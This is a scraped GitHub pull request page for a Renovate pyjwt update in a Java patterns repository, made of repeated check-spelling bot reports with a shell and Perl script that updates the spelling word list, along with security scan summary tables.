system("git", "add", $new_expect_file);
'
}

comment_json=$(mktemp)
curl -L -s -S \
  --header "Content-Type: application/json" \
  "https://api.github.com/repos/AlexRogalskiy/java-patterns/issues/comments/4189905083" > "$comment_json"
comment_body=$(mktemp)
jq -r .body < "$comment_json" > $comment_body
rm $comment_json

patch_remove=$(perl -ne 'next unless s{^</summary>(.*)</details>$}{$1}; print' < "$comment_body")
  

patch_add=$(perl -e '$/=undef;
$_=<>;
s{<details>.*}{}s;
s{^#.*}{};
s{\n##.*}{};
s{(?:^|\n)\s*\*}{}g;
s{\s+}{ }g;
print' < "$comment_body")
  
update_files
rm $comment_body
git add -u
If you see a bunch of garbage

If it relates to a ...

well-formed pattern

See if there's a pattern that would match it.

If not, try writing one and adding it to the patterns.txt file.

Patterns are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your lines.

Note that patterns can't match multiline strings.

binary-ish string

Please add a file path to the excludes.txt file instead of just accepting the garbage.

File paths are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your files.

^ refers to the file's path from the root of the repository, so ^README\.md$ would exclude README.md (on whichever branch you're using).

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 12 14 0 ❌
Security Audit for Infrastructure 14 92 8 32 ❌
Kotlin Security Audit 0 0 0 0 ✅
Kotlin Static Analysis 0 0 0 0 ✅
Python Source Analyzer 0 0 0 0 ✅
Secrets Audit 0 4 0 0 ❌
Shell Script Analysis 0 0 0 195 ✅

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 314c413 to 84337f3 Compare April 13, 2026 05:04
@github-actions

github-actions Bot commented Apr 13, 2026 •

Copy link
Copy Markdown
Contributor

@check-spelling-bot Report

Unrecognized words, please review:

  • adr
  • akka
  • alexrogalskiy
  • allcontributors
  • api
  • arcver
  • assing
  • badgen
  • BETTERCODE
  • betterjavacode
  • blogspot
  • boopickle
  • bootcamp
  • brightgreen
  • bugfixes
  • buymeacoffee
  • ceb
  • codeready
  • codesandbox
  • codetriage
  • committers
  • configmaps
  • debezium
  • demystified
  • dependabot
  • devcases
  • devfile
  • dirtyreload
  • DOI
  • dreamix
  • dropdown
  • eab
  • eap
  • eisele
  • embeddableinstantiator
  • embeddables
  • facebook
  • fastai
  • fastpages
  • fastparse
  • firsttimersonly
  • flushmode
  • forthebadge
  • frapsoft
  • freemarker
  • FRP
  • fthomas
  • gerrit
  • getquill
  • GIFs
  • gitbook
  • gitflow
  • githubbox
  • gitpod
  • GPLv
  • Gradle
  • grunwald
  • guideslines
  • gunnar
  • Hashids
  • Hasids
  • helloworld
  • hitsofcode
  • hmil
  • infoworld
  • insidejava
  • Instantiator
  • IPhone
  • istio
  • janssen
  • japgolly
  • javacodegeeks
  • javafx
  • javamelody
  • javaone
  • JAVAPROG
  • jboss
  • jcliff
  • jdbc
  • jdk
  • jextract
  • jfr
  • jfrunit
  • johan
  • jpa
  • JRE
  • jsonignore
  • jsp
  • jsparty
  • julienrf
  • Jupyter
  • kubernetes
  • latestdoi
  • LETSTALK
  • letstalkaboutjava
  • LGPL
  • LGPLv
  • lihaoyi
  • liskov
  • logfile
  • mades
  • makeapullrequest
  • markdownguide
  • markus
  • matryoshka
  • mcve
  • mega
  • microservices
  • milessabin
  • mirrorring
  • mkdocs
  • modelviewculture
  • monix
  • mtl
  • mutationquery
  • namespaces
  • nestjs
  • Netflix
  • newreleases
  • nullables
  • nvie
  • objectmappers
  • odl
  • openapi
  • opengraph
  • opentelemetry
  • osslifecycle
  • oyanglul
  • pagespeedresultmobile
  • pasteable
  • patreon
  • paypal
  • PITMP
  • plumbr
  • podcast
  • precog
  • pufler
  • pypa
  • quarkus
  • quicklens
  • RANDOMTHOUGHTS
  • randomthoughtsonjavaprogramming
  • rce
  • reactify
  • readthedocs
  • reddit
  • renovatebot
  • reporoster
  • repostatus
  • resteasy
  • rfm
  • Rogalskiy
  • rogalsky
  • rubyonrails
  • runtimes
  • scalacss
  • scalafiddle
  • scalafmt
  • scalajs
  • scalameta
  • scalanlp
  • scalastyle
  • scalaz
  • scm
  • seeyoufarm
  • selectionquery
  • softwaremill
  • sourcegraph
  • spamming
  • splunk
  • sql
  • squants
  • squbs
  • sscce
  • stakeholders
  • starchart
  • sttp
  • stylegu
  • suggestig
  • suzaku
  • thejavaprogrammer
  • thorben
  • tilda
  • tokei
  • trufoj
  • tsb
  • tsbleo
  • tscojc
  • tscqlg
  • tsd
  • tsdllr
  • typelevel
  • udash
  • upickle
  • urt
  • ussue
  • violoate
  • vos
  • wget
  • wildfly
  • wix
  • workspaces
  • zenodo
  • zgc
  • zio
Previously acknowledged words that are now absent acl activesupport adaoraul addons aeiou AFile afterall Alexey alfredxing algolia allowfullscreen Anatoliy andreyvit Ankit Anning apps appveyor arengu args ariejan arounds asciinema asdf ashmaroli attr Autobuild autocompletion autogenerated Autolink autoload autoreconf autosave awood awscli backport backtick barcamp baseurl bashrc baz bbatsov bdimcheff bellvat benbalter Beney binstubs bip bitbucket Blogger blogging bonafide Bou breadcrumbs briandoll bridgetown bridgetownrb brightbox brighterplanet buddyworks Bugfix Burela byparker cachegrind calavera callgraphs cartera cavalle CDNs cgi changefreq chango charset Chayoung chcp chdir Cheatsheet Checkoway chmod chown Chrononaut chruby cibuild cimg circleci CJK classname cloudcannon Cloudinary cloudsh CLT CODEOWNERS coderay codeslinger coffeescript colorator commandline commonmark compat compatibilize concat configyml contentblocks CORS Cov CRLFs cron crontab cruft css csv Currin CVE CWD cygwin daringfireball Dassonville datafiles datetime DCEU Debian debuggability defunkt delegators deployer deps dest Devkit devops digitalocean dirs disqus ditaa dnf doclist doctype doeorg dommmel dotfile Dousse downcase downcased duckduckgo duritong Dusseau dysinger ecf editorconfig eduardoboucas Elasticsearch elsif Emacs emails endcapture endcomment endfor endhighlight endif endraw endrender endtablerow Enumerables EOL erb errordocument Espinaco eugenebolshakov evaled exe execjs extensionpack extname exts favicon Fengyun ffi figcaption filesystem Finazzo firstimage FIXME flakey flickr fnmatch fontello forloop formcake formcarry formester formingo formkeep formspark formspree formx Forwardable frameborder freenode frontend frontmatter fsnotify ftp fullstory Gaudino gcc gcnovus gemfile gemset gemspec getform getset getsimpleform gettalong gfm ghp ghpages giraffeacademy githubcom gitignore gitlab gjtorikian globbed globbing google gotcha Goulven gridism GSo gsub gsubbing Hakiri hardcode hashbang hashmap helaili henrik heredoc heroku highlighter hilighting Hoizey hostman hostname htaccess htm htmlproofer httpd httpdocs hyperlinks Iaa ial ico icomoon iconset ified iframe Impl Inlining invokables irc ivey ize jalali jameshamann jamstackthemes jan Jax jayferd jcon jdoe jeffreytse jeffrydegrande Jekpack jekyllbot jekyllconf Jekyllers Jekyllin Jekylling jekyllized jekylllayoutconcept jekyllrb jekyllthemes jemoji jmcglone jneen johnreilly jpg jqr jruby jsonify juretta jwarby Kacper Kasberg kbd Kentico Kewin keycdn kickster Kinnula kiwifruit Kolesky konklone kontent Kotvinsky kramdown Kulig Kwokfu Lamprecht laquo lastmod launchctl launchy laurilehmijoki ldquo learnxinyminutes lexer LGTM libcurl libffi lightgray limjh linenos linkify linux liufengyun livereload localheinz localtime Locher loglevel Losslessly lovin lsi lsquo lstrip lyche macos macromates mademistakes Manmeet markdownify Maroli Marsceill maruku mathjax mathml mattr Maximiliano mchung mdash memberspace Memoize memoized memoizing mentoring mergable Mertcan mertkahyaoglu microdata mimetype mingw minibundle minifier minitest Mittal mixin mkasberg mkd mkdir mkdn mkdown mmistakes modernizr mojombo moncefbelyamani moz mreid msdn mswin MSYS mtime multiline munging Mvvm myblog mycontent mydata mydoc myimage mypage myposts myproject myrepo mysite myvalue myvar myvariable Nadjib nakanishi namespace namespaced navbar nbsp nearlyfreespeech nethack netlify netlifycms Neue nginx ngx nielsenramon nior noifniof nokogiri notextile onclick onebox oneclick onschedule openssl Optim orderofinterpretation orgs OSVDB osx packagecontrol pacman paginator pandoc pantulis params parkr parseable paspagon passthrough pathawks Pathutil paywall pdf Pelykh permalink PHP pinboard Piwigo pjhyett pkill pkpass placeholders planetjekyll plantuml plugin podcasts popen Porcel Posterous postfiles postlayout postmodern prefetching preinstalled prepends Prioritise Probot projectlist pubstorm pufuwozu pwa pwd pygments qrush Quaid rackup Rakefile razorops rbenv rdiscount rdoc rdquo realz rebund redcarpet redcloth redgreen refactor Refheap regen regex regexp remi reqs Responsify revertable rfc rfelix RHEL ridk roadmap rowspan rspec rsquo rstrip rsync rtomayko Rubo rubocop rubychan rubygem rubyinstaller rubyprof Ruparelia Rusiczki rvm ryanflorence saas samplelist samrayner sandboxed Sassc sassify schemastore Schroers Schwartzian scp scrollbar scroller scss scssify sdk SDKROOT sectore seo serverless setenv SFTP shingo shopify shortlog shoulda sieversii sigpipe simplecov Singhaniya siteleaf sitemap SITENAME Slicehost slugified slugify smartforms smartify snipcart somedir sonnym Sonomy sourced sourcemaps spam spotify ssg ssh SSL staticfiles staticman statictastic STDERR stdout Stickyposts strftime stringified Stringify stylesheet subdir subdomain subfolder subfolderitems subnav subpages subpath subpiece subsubfolderitems subthing subvalues subwidget sudo superdirectories superdirs SUSE sverrirs svn swfobject swupd symlink symlinking tablerow tada Taillandier talkyard tbody technicalpickles templating templatize Termux textilize textpattern thead therubyracer Theunissen Thornquest thoughtbot throughs Tidelift timeago timezone titleize TLS tmm tmp toc tok tomjoht toml tomo toolset toshimaru triaged triaging truncatewords tsv ttf Tudou Tumblr Tweetsert txtpen Tyborska tzinfo ubuntu uby ujh ultron undumpable unencode Unescape unescaping unicode uniq upcase uppercasing uri urlset username usr utf utils utime vanpelt Vasovi vendored vercel versioned vertycal Veyor vilcans Vishesh visualstudio vnd vohedge vps vscode vwochnik Walkthroughs wdm We'd webfont webhook webhosting webmentions webrick weekdate whitelist whitelisting wikipedia wildcards willcodeforfoo woff wordpress Workaround wsl xcode xcrun xdg Xhmikos xhtml Xiaoiver XMinutes xmlns xmlschema yajl Yarp Yashu Yastreb Youku youtube yunbox zeropadding Zlatan zlib zoneinfo zpinter Zsh zshrc zypper zzot
To accept these unrecognized words as correct (and remove the previously acknowledged and now absent words), run the following commands

... in a clone of the git@github.com:AlexRogalskiy/java-patterns.git repository
on the renovate/pypi-pyjwt-vulnerability branch:

update_files() {
perl -e '
my @expect_files=qw('".github/actions/spelling/expect.txt"');
@ARGV=@expect_files;
my @stale=qw('"$patch_remove"');
my $re=join "|", @stale;
my $suffix=".".time();
my $previous="";
sub maybe_unlink { unlink($_[0]) if $_[0]; }
while (<>) {
if ($ARGV ne $old_argv) { maybe_unlink($previous); $previous="$ARGV$suffix"; rename($ARGV, $previous); open(ARGV_OUT, ">$ARGV"); select(ARGV_OUT); $old_argv = $ARGV; }
next if /^(?:$re)(?:(?:\r|\n)*$| .*)/; print;
}; maybe_unlink($previous);'
perl -e '
my $new_expect_file=".github/actions/spelling/expect.txt";
use File::Path qw(make_path);
use File::Basename qw(dirname);
make_path (dirname($new_expect_file));
open FILE, q{<}, $new_expect_file; chomp(my @words = <FILE>); close FILE;
my @add=qw('"$patch_add"');
my %items; @items{@words} = @words x (1); @items{@add} = @add x (1);
@words = sort {lc($a)."-".$a cmp lc($b)."-".$b} keys %items;
open FILE, q{>}, $new_expect_file; for my $word (@words) { print FILE "$word\n" if $word =~ /\w/; };
close FILE;
system("git", "add", $new_expect_file);
'
}

comment_json=$(mktemp)
curl -L -s -S \
  --header "Content-Type: application/json" \
  "https://api.github.com/repos/AlexRogalskiy/java-patterns/issues/comments/4233979266" > "$comment_json"
comment_body=$(mktemp)
jq -r .body < "$comment_json" > $comment_body
rm $comment_json

patch_remove=$(perl -ne 'next unless s{^</summary>(.*)</details>$}{$1}; print' < "$comment_body")
  

patch_add=$(perl -e '$/=undef;
$_=<>;
s{<details>.*}{}s;
s{^#.*}{};
s{\n##.*}{};
s{(?:^|\n)\s*\*}{}g;
s{\s+}{ }g;
print' < "$comment_body")
  
update_files
rm $comment_body
git add -u
If you see a bunch of garbage

If it relates to a ...

well-formed pattern

See if there's a pattern that would match it.

If not, try writing one and adding it to the patterns.txt file.

Patterns are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your lines.

Note that patterns can't match multiline strings.

binary-ish string

Please add a file path to the excludes.txt file instead of just accepting the garbage.

File paths are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your files.

^ refers to the file's path from the root of the repository, so ^README\.md$ would exclude README.md (on whichever branch you're using).

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 6 5 0 ❌
Kotlin Security Audit 0 0 0 0 ✅
Kotlin Static Analysis 0 0 0 0 ✅
Security Audit for Infrastructure 14 92 8 32 ❌
Secrets Audit 0 4 0 0 ❌
Shell Script Analysis 0 0 0 195 ✅
Python Source Analyzer 0 0 0 0 ✅

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 84337f3 to 3be3f03 Compare April 20, 2026 04:37
@github-actions

github-actions Bot commented Apr 20, 2026 •

Copy link
Copy Markdown
Contributor

@check-spelling-bot Report

Unrecognized words, please review:

  • adr
  • akka
  • alexrogalskiy
  • allcontributors
  • api
  • arcver
  • assing
  • badgen
  • BETTERCODE
  • betterjavacode
  • blogspot
  • boopickle
  • bootcamp
  • brightgreen
  • bugfixes
  • buymeacoffee
  • ceb
  • codeready
  • codesandbox
  • codetriage
  • committers
  • configmaps
  • debezium
  • demystified
  • dependabot
  • devcases
  • devfile
  • dirtyreload
  • DOI
  • dreamix
  • dropdown
  • eab
  • eap
  • eisele
  • embeddableinstantiator
  • embeddables
  • facebook
  • fastai
  • fastpages
  • fastparse
  • firsttimersonly
  • flushmode
  • forthebadge
  • frapsoft
  • freemarker
  • FRP
  • fthomas
  • gerrit
  • getquill
  • GIFs
  • gitbook
  • gitflow
  • githubbox
  • gitpod
  • GPLv
  • Gradle
  • grunwald
  • guideslines
  • gunnar
  • Hashids
  • Hasids
  • helloworld
  • hitsofcode
  • hmil
  • infoworld
  • insidejava
  • Instantiator
  • IPhone
  • istio
  • janssen
  • japgolly
  • javacodegeeks
  • javafx
  • javamelody
  • javaone
  • JAVAPROG
  • jboss
  • jcliff
  • jdbc
  • jdk
  • jextract
  • jfr
  • jfrunit
  • johan
  • jpa
  • JRE
  • jsonignore
  • jsp
  • jsparty
  • julienrf
  • Jupyter
  • kubernetes
  • latestdoi
  • LETSTALK
  • letstalkaboutjava
  • LGPL
  • LGPLv
  • lihaoyi
  • liskov
  • logfile
  • mades
  • makeapullrequest
  • markdownguide
  • markus
  • matryoshka
  • mcve
  • mega
  • microservices
  • milessabin
  • mirrorring
  • mkdocs
  • modelviewculture
  • monix
  • mtl
  • mutationquery
  • namespaces
  • nestjs
  • Netflix
  • newreleases
  • nullables
  • nvie
  • objectmappers
  • odl
  • openapi
  • opengraph
  • opentelemetry
  • osslifecycle
  • oyanglul
  • pagespeedresultmobile
  • pasteable
  • patreon
  • paypal
  • PITMP
  • plumbr
  • podcast
  • precog
  • pufler
  • pypa
  • quarkus
  • quicklens
  • RANDOMTHOUGHTS
  • randomthoughtsonjavaprogramming
  • rce
  • reactify
  • readthedocs
  • reddit
  • renovatebot
  • reporoster
  • repostatus
  • resteasy
  • rfm
  • Rogalskiy
  • rogalsky
  • rubyonrails
  • runtimes
  • scalacss
  • scalafiddle
  • scalafmt
  • scalajs
  • scalameta
  • scalanlp
  • scalastyle
  • scalaz
  • scm
  • seeyoufarm
  • selectionquery
  • softwaremill
  • sourcegraph
  • spamming
  • splunk
  • sql
  • squants
  • squbs
  • sscce
  • stakeholders
  • starchart
  • sttp
  • stylegu
  • suggestig
  • suzaku
  • thejavaprogrammer
  • thorben
  • tilda
  • tokei
  • trufoj
  • tsb
  • tsbleo
  • tscojc
  • tscqlg
  • tsd
  • tsdllr
  • typelevel
  • udash
  • upickle
  • urt
  • ussue
  • violoate
  • vos
  • wget
  • wildfly
  • wix
  • workspaces
  • zenodo
  • zgc
  • zio
Previously acknowledged words that are now absent acl activesupport adaoraul addons aeiou AFile afterall Alexey alfredxing algolia allowfullscreen Anatoliy andreyvit Ankit Anning apps appveyor arengu args ariejan arounds asciinema asdf ashmaroli attr Autobuild autocompletion autogenerated Autolink autoload autoreconf autosave awood awscli backport backtick barcamp baseurl bashrc baz bbatsov bdimcheff bellvat benbalter Beney binstubs bip bitbucket Blogger blogging bonafide Bou breadcrumbs briandoll bridgetown bridgetownrb brightbox brighterplanet buddyworks Bugfix Burela byparker cachegrind calavera callgraphs cartera cavalle CDNs cgi changefreq chango charset Chayoung chcp chdir Cheatsheet Checkoway chmod chown Chrononaut chruby cibuild cimg circleci CJK classname cloudcannon Cloudinary cloudsh CLT CODEOWNERS coderay codeslinger coffeescript colorator commandline commonmark compat compatibilize concat configyml contentblocks CORS Cov CRLFs cron crontab cruft css csv Currin CVE CWD cygwin daringfireball Dassonville datafiles datetime DCEU Debian debuggability defunkt delegators deployer deps dest Devkit devops digitalocean dirs disqus ditaa dnf doclist doctype doeorg dommmel dotfile Dousse downcase downcased duckduckgo duritong Dusseau dysinger ecf editorconfig eduardoboucas Elasticsearch elsif Emacs emails endcapture endcomment endfor endhighlight endif endraw endrender endtablerow Enumerables EOL erb errordocument Espinaco eugenebolshakov evaled exe execjs extensionpack extname exts favicon Fengyun ffi figcaption filesystem Finazzo firstimage FIXME flakey flickr fnmatch fontello forloop formcake formcarry formester formingo formkeep formspark formspree formx Forwardable frameborder freenode frontend frontmatter fsnotify ftp fullstory Gaudino gcc gcnovus gemfile gemset gemspec getform getset getsimpleform gettalong gfm ghp ghpages giraffeacademy githubcom gitignore gitlab gjtorikian globbed globbing google gotcha Goulven gridism GSo gsub gsubbing Hakiri hardcode hashbang hashmap helaili henrik heredoc heroku highlighter hilighting Hoizey hostman hostname htaccess htm htmlproofer httpd httpdocs hyperlinks Iaa ial ico icomoon iconset ified iframe Impl Inlining invokables irc ivey ize jalali jameshamann jamstackthemes jan Jax jayferd jcon jdoe jeffreytse jeffrydegrande Jekpack jekyllbot jekyllconf Jekyllers Jekyllin Jekylling jekyllized jekylllayoutconcept jekyllrb jekyllthemes jemoji jmcglone jneen johnreilly jpg jqr jruby jsonify juretta jwarby Kacper Kasberg kbd Kentico Kewin keycdn kickster Kinnula kiwifruit Kolesky konklone kontent Kotvinsky kramdown Kulig Kwokfu Lamprecht laquo lastmod launchctl launchy laurilehmijoki ldquo learnxinyminutes lexer LGTM libcurl libffi lightgray limjh linenos linkify linux liufengyun livereload localheinz localtime Locher loglevel Losslessly lovin lsi lsquo lstrip lyche macos macromates mademistakes Manmeet markdownify Maroli Marsceill maruku mathjax mathml mattr Maximiliano mchung mdash memberspace Memoize memoized memoizing mentoring mergable Mertcan mertkahyaoglu microdata mimetype mingw minibundle minifier minitest Mittal mixin mkasberg mkd mkdir mkdn mkdown mmistakes modernizr mojombo moncefbelyamani moz mreid msdn mswin MSYS mtime multiline munging Mvvm myblog mycontent mydata mydoc myimage mypage myposts myproject myrepo mysite myvalue myvar myvariable Nadjib nakanishi namespace namespaced navbar nbsp nearlyfreespeech nethack netlify netlifycms Neue nginx ngx nielsenramon nior noifniof nokogiri notextile onclick onebox oneclick onschedule openssl Optim orderofinterpretation orgs OSVDB osx packagecontrol pacman paginator pandoc pantulis params parkr parseable paspagon passthrough pathawks Pathutil paywall pdf Pelykh permalink PHP pinboard Piwigo pjhyett pkill pkpass placeholders planetjekyll plantuml plugin podcasts popen Porcel Posterous postfiles postlayout postmodern prefetching preinstalled prepends Prioritise Probot projectlist pubstorm pufuwozu pwa pwd pygments qrush Quaid rackup Rakefile razorops rbenv rdiscount rdoc rdquo realz rebund redcarpet redcloth redgreen refactor Refheap regen regex regexp remi reqs Responsify revertable rfc rfelix RHEL ridk roadmap rowspan rspec rsquo rstrip rsync rtomayko Rubo rubocop rubychan rubygem rubyinstaller rubyprof Ruparelia Rusiczki rvm ryanflorence saas samplelist samrayner sandboxed Sassc sassify schemastore Schroers Schwartzian scp scrollbar scroller scss scssify sdk SDKROOT sectore seo serverless setenv SFTP shingo shopify shortlog shoulda sieversii sigpipe simplecov Singhaniya siteleaf sitemap SITENAME Slicehost slugified slugify smartforms smartify snipcart somedir sonnym Sonomy sourced sourcemaps spam spotify ssg ssh SSL staticfiles staticman statictastic STDERR stdout Stickyposts strftime stringified Stringify stylesheet subdir subdomain subfolder subfolderitems subnav subpages subpath subpiece subsubfolderitems subthing subvalues subwidget sudo superdirectories superdirs SUSE sverrirs svn swfobject swupd symlink symlinking tablerow tada Taillandier talkyard tbody technicalpickles templating templatize Termux textilize textpattern thead therubyracer Theunissen Thornquest thoughtbot throughs Tidelift timeago timezone titleize TLS tmm tmp toc tok tomjoht toml tomo toolset toshimaru triaged triaging truncatewords tsv ttf Tudou Tumblr Tweetsert txtpen Tyborska tzinfo ubuntu uby ujh ultron undumpable unencode Unescape unescaping unicode uniq upcase uppercasing uri urlset username usr utf utils utime vanpelt Vasovi vendored vercel versioned vertycal Veyor vilcans Vishesh visualstudio vnd vohedge vps vscode vwochnik Walkthroughs wdm We'd webfont webhook webhosting webmentions webrick weekdate whitelist whitelisting wikipedia wildcards willcodeforfoo woff wordpress Workaround wsl xcode xcrun xdg Xhmikos xhtml Xiaoiver XMinutes xmlns xmlschema yajl Yarp Yashu Yastreb Youku youtube yunbox zeropadding Zlatan zlib zoneinfo zpinter Zsh zshrc zypper zzot
To accept these unrecognized words as correct (and remove the previously acknowledged and now absent words), run the following commands

... in a clone of the git@github.com:AlexRogalskiy/java-patterns.git repository
on the renovate/pypi-pyjwt-vulnerability branch:

update_files() {
perl -e '
my @expect_files=qw('".github/actions/spelling/expect.txt"');
@ARGV=@expect_files;
my @stale=qw('"$patch_remove"');
my $re=join "|", @stale;
my $suffix=".".time();
my $previous="";
sub maybe_unlink { unlink($_[0]) if $_[0]; }
while (<>) {
if ($ARGV ne $old_argv) { maybe_unlink($previous); $previous="$ARGV$suffix"; rename($ARGV, $previous); open(ARGV_OUT, ">$ARGV"); select(ARGV_OUT); $old_argv = $ARGV; }
next if /^(?:$re)(?:(?:\r|\n)*$| .*)/; print;
}; maybe_unlink($previous);'
perl -e '
my $new_expect_file=".github/actions/spelling/expect.txt";
use File::Path qw(make_path);
use File::Basename qw(dirname);
make_path (dirname($new_expect_file));
open FILE, q{<}, $new_expect_file; chomp(my @words = <FILE>); close FILE;
my @add=qw('"$patch_add"');
my %items; @items{@words} = @words x (1); @items{@add} = @add x (1);
@words = sort {lc($a)."-".$a cmp lc($b)."-".$b} keys %items;
open FILE, q{>}, $new_expect_file; for my $word (@words) { print FILE "$word\n" if $word =~ /\w/; };
close FILE;
system("git", "add", $new_expect_file);
'
}

comment_json=$(mktemp)
curl -L -s -S \
  --header "Content-Type: application/json" \
  "https://api.github.com/repos/AlexRogalskiy/java-patterns/issues/comments/4277841533" > "$comment_json"
comment_body=$(mktemp)
jq -r .body < "$comment_json" > $comment_body
rm $comment_json

patch_remove=$(perl -ne 'next unless s{^</summary>(.*)</details>$}{$1}; print' < "$comment_body")
  

patch_add=$(perl -e '$/=undef;
$_=<>;
s{<details>.*}{}s;
s{^#.*}{};
s{\n##.*}{};
s{(?:^|\n)\s*\*}{}g;
s{\s+}{ }g;
print' < "$comment_body")
  
update_files
rm $comment_body
git add -u
If you see a bunch of garbage

If it relates to a ...

well-formed pattern

See if there's a pattern that would match it.

If not, try writing one and adding it to the patterns.txt file.

Patterns are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your lines.

Note that patterns can't match multiline strings.

binary-ish string

Please add a file path to the excludes.txt file instead of just accepting the garbage.

File paths are Perl 5 Regular Expressions - you can test yours before committing to verify it will match your files.

^ refers to the file's path from the root of the repository, so ^README\.md$ would exclude README.md (on whichever branch you're using).

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Scan Summary

Tool Critical High Medium Low Status
Dependency Scan (universal) 2 7 5 0 ❌
Kotlin Security Audit 0 0 0 0 ✅
Kotlin Static Analysis 0 0 0 0 ✅
Security Audit for Infrastructure 14 92 8 32 ❌
Secrets Audit 0 4 0 0 ❌
Shell Script Analysis 0 0 0 195 ✅
Python Source Analyzer 0 0 0 0 ✅

Recommendation

Please review the findings from Code scanning alerts before approving this pull request. You can also configure the build rules or add suppressions to customize this bot 👍

@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 3be3f03 to 9e5d1c5 Compare April 27, 2026 02:11
@github-actions

github-actions Bot commented Apr 27, 2026 •

Copy link
Copy Markdown
Contributor

@check-spelling-bot Report

Unrecognized words, please review:

  • adr
  • akka
  • alexrogalskiy
  • allcontributors
  • api
  • arcver
  • assing
  • badgen
  • BETTERCODE
  • betterjavacode
  • blogspot
  • boopickle
  • bootcamp
  • brightgreen
  • bugfixes
  • buymeacoffee
  • ceb
  • codeready
  • codesandbox
  • codetriage
  • committers
  • configmaps
  • debezium
  • demystified
  • dependabot
  • devcases
  • devfile
  • dirtyreload
  • DOI
  • dreamix
  • dropdown
  • eab
  • eap
  • eisele
  • embeddableinstantiator
  • embeddables
  • facebook
  • fastai
  • fastpages
  • fastparse
  • firsttimersonly
  • flushmode
  • forthebadge
  • frapsoft
  • freemarker
  • FRP
  • fthomas
  • gerrit
  • getquill
  • GIFs
  • gitbook
  • gitflow
  • githubbox
  • gitpod
  • GPLv
  • Gradle
  • grunwald
  • guideslines
  • gunnar
  • Hashids
  • Hasids
  • helloworld
  • hitsofcode
  • hmil
  • infoworld
  • insidejava
  • Instantiator
  • IPhone
  • istio
  • janssen
  • japgolly
  • javacodegeeks
  • javafx
  • javamelody
  • javaone
  • JAVAPROG
  • jboss
  • jcliff
  • jdbc
  • jdk
  • jextract
  • jfr
  • jfrunit
  • johan
  • jpa
  • JRE
  • jsonignore
  • jsp
  • jsparty
  • julienrf
  • Jupyter
  • kubernetes
  • latestdoi
  • LETSTALK
  • letstalkaboutjava
  • LGPL
  • LGPLv
  • lihaoyi
  • liskov
  • logfile
  • mades
  • makeapullrequest
  • markdownguide
  • markus
  • matryoshka
  • mcve
  • mega
  • microservices
  • milessabin
  • mirrorring
  • mkdocs
  • modelviewculture
  • monix
  • mtl
  • mutationquery
  • namespaces
  • nestjs
  • Netflix
  • newreleases
  • nullables
  • nvie
  • objectmappers
  • odl
  • openapi
  • opengraph
  • opentelemetry
  • osslifecycle
  • oyanglul
  • pagespeedresultmobile
  • pasteable
  • patreon
  • paypal
  • PITMP
  • plumbr
  • podcast
  • precog
  • pufler
  • pypa
  • quarkus
  • quicklens
  • RANDOMTHOUGHTS
  • randomthoughtsonjavaprogramming
  • rce
  • reactify
  • readthedocs
  • reddit
  • renovatebot
  • reporoster
  • repostatus
  • resteasy
  • rfm
  • Rogalskiy
  • rogalsky
  • rubyonrails
  • runtimes
  • scalacss
  • scalafiddle
  • scalafmt
  • scalajs
  • scalameta
  • scalanlp
  • scalastyle
  • scalaz
  • scm
  • seeyoufarm
  • selectionquery
  • softwaremill
  • sourcegraph
  • spamming
  • splunk
  • sql
  • squants
  • squbs
  • sscce
  • stakeholders
  • starchart
  • sttp
  • stylegu
  • suggestig
  • suzaku
  • thejavaprogrammer
  • thorben
  • tilda
  • tokei
  • trufoj
  • tsb
  • tsbleo
  • tscojc
  • tscqlg
  • tsd
  • tsdllr
  • typelevel
  • udash
  • upickle
  • urt
  • ussue
  • violoate
  • vos
  • wget
  • wildfly
  • wix
  • workspaces
  • zenodo
  • zgc
  • zio
Previously acknowledged words that are now absent acl activesupport adaoraul addons aeiou AFile afterall Alexey alfredxing algolia allowfullscreen Anatoliy andreyvit Ankit Anning apps appveyor arengu args ariejan arounds asciinema asdf ashmaroli attr Autobuild autocompletion autogenerated Autolink autoload autoreconf autosave awood awscli backport backtick barcamp baseurl bashrc baz bbatsov bdimcheff bellvat benbalter Beney binstubs bip bitbucket Blogger blogging bonafide Bou breadcrumbs briandoll bridgetown bridgetownrb brightbox brighterplanet buddyworks Bugfix Burela byparker cachegrind calavera callgraphs cartera cavalle CDNs cgi changefreq chango charset Chayoung chcp chdir Cheatsheet Checkoway chmod chown Chrononaut chruby cibuild cimg circleci CJK classname cloudcannon Cloudinary cloudsh CLT CODEOWNERS coderay codeslinger coffeescript colorator commandline commonmark compat compatibilize concat configyml contentblocks CORS Cov CRLFs cron crontab cruft css csv Currin CVE CWD cygwin daringfireball Dassonville datafiles datetime DCEU Debian debuggability defunkt delegators deployer deps dest Devkit devops digitalocean dirs disqus ditaa dnf doclist doctype doeorg dommmel dotfile Dousse downcase downcased duckduckgo duritong Dusseau dysinger ecf editorconfig eduardoboucas Elasticsearch elsif Emacs emails endcapture endcomment endfor endhighlight endif endraw endrender endtablerow Enumerables EOL erb errordocument Espinaco eugenebolshakov evaled exe execjs extensionpack extname exts favicon Fengyun ffi figcaption filesystem Finazzo firstimage FIXME flakey flickr fnmatch fontello forloop formcake formcarry formester formingo formkeep formspark formspree formx Forwardable frameborder freenode frontend frontmatter fsnotify ftp fullstory Gaudino gcc gcnovus gemfile gemset gemspec getform getset getsimpleform gettalong gfm ghp ghpages giraffeacademy githubcom gitignore gitlab gjtorikian globbed globbing google gotcha Goulven gridism GSo gsub gsubbing Hakiri hardcode hashbang hashmap 